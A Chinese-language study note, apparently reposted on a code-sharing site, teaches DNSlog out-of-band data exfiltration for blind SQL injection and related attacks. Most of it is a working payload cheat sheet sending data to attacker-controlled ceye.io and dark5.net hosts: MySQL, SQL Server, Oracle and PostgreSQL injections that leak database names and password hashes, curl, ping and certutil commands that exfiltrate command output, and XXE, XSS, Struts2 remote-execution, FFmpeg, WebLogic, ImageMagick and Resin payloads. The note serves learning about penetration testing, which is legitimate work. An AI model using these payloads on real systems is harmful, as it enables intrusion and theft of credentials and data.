学习笔记二十四:盲注的快速获取数据之DNSlog注入


用DNS的log功能来突破盲注速度慢的限制。

技术说明:

DNSlog注⼊属于带外通信的⼀种,英⽂:Out of Band,简称:OOB。我们之前的注⼊都是在同⼀个信道上⾯ 的,⽐如我们之前的联合查询注⼊,都是做HTTP请求,然后得到HTTP返回包,没有涉及到其他的信道,⽐如 DNS。⽽带外通信,⾄少是要涉及到两个信道的。信道:在计算机中,指通信的通道,是信号传输的媒介。

利用场景:

我们在进⾏SQL盲注、命令执⾏、SSRF及XSS等攻击⽽⽆法看到回显结果时,就会⽤到该技术。

技术原理:

1.攻击者将恶意的sql注入payload(例如:LOAD FILE(CONCAT('\\\\',user(),'.test.com\\abc))  )经由Web服务器

2.Web服务器将恶意的payload传递进数据库

3.在数据库中user()函数被执行,dns查询就是变成root.test.com传入本地设置的DNS服务器

4.本地设置的DNS服务器查询root.test.com传到DNS服务器

5.DNS服务器返回NS服务器地址ns.test.com到本地设置的DNS服务器

6.本地设置的DNS服务器查询root.test.com到NS服务器ns.test.com (NS服务器ns.test.com就是攻击者可以控制的地方,在ns服务器上获得dns日志,就得到数据库的用户的值)

作为攻击者,提交注⼊语句,让数据库把需要查询的值和域名拼接起来,然后发⽣DNS查询,我们只要 能获得DNS的⽇志,就得到了想要的值。所以我们需要有⼀个⾃⼰的域名,然后在域名商处配置⼀条NS记录,然后 我们在NS服务器上⾯获取DNS⽇志即可。 简单说就是:DNSLog ⽤于监测 DNS 和 HTTP 访问记录,可通过HTTP请求,让⽬标主机主动请求 DNSLog API 地址,有相应的解析记录,则可判定为存在相应的漏洞。

 

利用细节

SQL注入

MySQL

    • 支持load_file()函数(高版本默认不支持)
    • 开启allow_url_fopen(默认开启)

核心语句:

select load_file(concat('\\\\',hex((select database())),'.8dmer4.ceye.io\\abv'));

    hex是为了防止- /这样的字符影响了语句的正常执行,它会把不能出现在域名中的字符转换成16进制   8dmer4是个人的dns域名标识符记得要替换成自己的

dvwa实战语句1:

1' and if((select load_file(concat('\\\\',hex((select 212)),'.8dmer4.ceye.io\\abv'))),1,0) And '1'='1

dvwa实战语句2:

1' and if((select load_file(concat('\\\\',hex((select schema_name from information_schema.schemata limit 0,1)),'.8dmer4.ceye.io\\abv'))),1,0) And '1'='1

UNC路径

UNC是⼀种命名惯例, 主要⽤于在Microsof t Windows上指定和映射⽹络驱动器. UNC命名惯例最多被应⽤于在局域⽹中访 问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。

其实我们平常在Widnows中⽤共享⽂件的时候就会⽤到这种⽹络地址的形式 \\sss.xxx\test\ 这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,⽬的就是利⽤UNC路径。

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使⽤这种⽅式外带数据。

SQL Server

核心语句:

DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

实战语句:

';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')--

Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');

SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;

SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;

SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

PostgreSQL

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $ DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');

exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';

EXECUTE exec_cmd;

END;

$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function();

SQLMap配合DNSlog

命令执行漏洞

这里的操作是在命令行中直接执行的而不是像往常一样的Mysql注入

Linux

curl http://ip.port.b182oj.ceye.io/`whoami`

ping -c 1 `whoami`.ip.port.b182oj.ceye.io

Windows

ping %USERNAME%.b182oj.ceye.io

变量                                                   类型                                             描述

%ALLUSERSPROFILE%                 本地                                             返回“所有⽤户”配置⽂件的位置。

%APPDATA%                                   本地                                             返回默认情况下应⽤程序存储数据的位置。

%CD%                                              本地                                             返回当前⽬录字符串。

%CMDCMDLINE%                           本地                                             返回⽤来启动当前的 Cmd.exe 的准确命令⾏。

%CMDEXTVERSION%                    系统                                             返回当前的“命令处理程序扩展”的版本号。

%COMPUTERNAME%                     系统                                             返回计算机的名称。

%COMSPEC%                                  系统                                             返回命令⾏解释器可执⾏程序的准确路径。

%DATE%                                           系统                                             返回当前⽇期。使⽤与 date /t 命令相同的格式。由 Cmd.exe ⽣ 成。有关 date 命令的详细信息,请参阅 Date。

%ERRORLEVEL%                            系统                                             返回上⼀条命令的错误代码。通常⽤⾮零值表⽰错误。

%HOMEDRIVE%                              系统                                              返回连接到⽤户主⽬录的本地⼯作站驱动器号。基于主⽬录值⽽设置。 ⽤户主⽬录是在“本地⽤户和组”中指定的。

%HOMEPATH%                                系统                                              返回⽤户主⽬录的完整路径。基于主⽬录值⽽设置。⽤户主⽬录是在“本 地⽤户和组”中指定的。

%HOMESHARE%                             系统                                              返回⽤户的共享主⽬录的⽹络路径。基于主⽬录值⽽设置。⽤户主⽬录是在"本地用户和组"中指定的。

%LOGONSERVER%                         本地                                              返回验证当前登录会话的域控制器的名称。

%NUMBER_OF_PROCESSORS%   系统                                              指定安装在计算机上的处理器的数⽬。

%OS%                                                系统                                              返回操作系统名称。Windows 2000 显⽰其操作系统为 Windows_NT。

%PATH%                                            系统                                              指定可执⾏⽂件的搜索路径。

%PATHEXT%                                     系统                                              返回操作系统认为可执⾏的⽂件扩展名的列表。

%PROCESSOR_ARCHITECTURE% 系统                                             返回处理器的芯⽚体系结构。值:x86 或 IA64(基于 Itanium)。

%PROCESSOR_IDENTFIER%         系统                                              返回处理器说明。

%PROCESSOR_LEVEL%                 系统                                              返回计算机上安装的处理器的型号。

%PROCESSOR_REVISION%           系统                                              返回处理器的版本号。

%PROMPT%                                      本地                                              返回当前解释程序的命令提⽰符设置。由 Cmd.exe ⽣成。

%RANDOM%                                      系统                                             返回 0 到 32767 之间的任意⼗进制数字。由 Cmd.exe ⽣成。

%SYSTEMDRIVE%                            系统                                             返回包含 Windows server operating system 根⽬录(即系统根 ⽬录)的驱动器。

%SYSTEMROOT%                             系统                                             返回 Windows server operating system 根⽬录的位置。

%TEMP%和%TMP%                     系统和⽤户                                        返回对当前登录⽤户可⽤的应⽤程序所使⽤的默认临时⽬录。有些应⽤程 序需要 TEMP,⽽其他应⽤程序则需要 TMP。

%TIME%                                             系统                                              返回当前时间。使⽤与 time /t 命令相 同的格式。由 Cmd.exe ⽣成。有关 time 命令的 详细信息,请参阅 Time。

%USERDOMAIN%                             本地                                              返回包含⽤户帐户的域的名称。

%USERNAME%                                 本地                                              返回当前登录的⽤户的名称。

%USERPROFILE%                            本地                                              返回当前⽤户的配置⽂件的位置。

%WINDIR%                                        系统                                              返回操作系统⽬录的位置。

SSRF

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">

%remote;]>

<root/>

XSS

><img src=http://xss.xxxx.ceye.io/aaa>

其他

XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">

%remote;]>

<root/>

Struts2

xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}

xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[] {'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader (%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://i p.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openCon nection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0, concat:http://ip.port.b182oj.ceye.io

#EXT-X-ENDLIST

Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp? operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchke y=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick

push graphic-context viewbox 0 0 640 480 fill 'url(http://ip.port.b182oj.ceye.io)' pop graphic-context

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test? inputFile=http://ip.port.b182oj.ceye.io/ssrf

DNSlog平台的搭建

可以用BugScanTeam GitHub - BugScanTeam/DNSLog: DNSLog 是一款监控 DNS 解析记录和 HTTP 访问记录的工具。

扩展:HTTP log

除开利用DNS的log,在可以执行系统命令的情况还可以利用HTTP的log,就是通过中间件的日志来获取结果。

Linux

for /F "delims=\" %i in ('whoami') do curl http://www.dark5.net/%i

如果碰到内容有空格(换⾏符等),就会截断,只输出前⾯的,这时候可以利⽤编码来输出,但有输出字符数最⼤ 限制;

curl http://xxx.dnslog.link/$(id|base64)

curl http://xxx.dnslog.link/`id|base64`

Windows

for /F %x in ('whoami') do start https://www.dark5.net/%x #启动浏览器访问

for /F %x in ('whoami') do certutil.exe -urlcache -split -f https://www.dark5.net/%x #内置命令⾏⼯具访问

for /F %x in ('dir /b') do certutil.exe -urlcache -split -f https://www.dark5.net/%x #只列出⽂件名

Windows下的base64编码

暂时未找到能直接像Linux那样可以通过管道来加密的,但通过多次命令的执⾏达到先base64加密,再做HTTP请求

whoami > result.txt certutil -encode result.txt result_bs64 for /f %x in (result_bs64) do certutil.exe -urlcache -split -f http://dvwa.dark5.net/%x

每⼀个请求都会出现两个请求⽇志,所以要去重复! 并把结果保存为result_bs64_local

ZGVza3RvcC1xOTl1dHJzXGhhY2tlcg0K

然后再把这个 result_bs64_local ⾥⾯加密的⽂件内容解密,命令为: certutil -decode result_bs64_local result_local.txt

可参考文章:

渗透测试小技巧之DNSlog | 瓦都剋 (dropsec.xyz)

Dnslog在SQL注入中的实战 - 安全客,安全资讯平台 (anquanke.com)

sqlmap利用DNS进行oob(out of band)注入(转) - 渗透测试中心 - 博客园 (cnblogs.com)

HawkEye Log/Dns 在Sql注入中的应用 - HackingDocs (hackinglab.cn)

Oracle注入之带外通信 - 卿先生 - 博客园 (cnblogs.com)

带外通道技术(OOB)总结 - FreeBuf网络安全行业门户

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM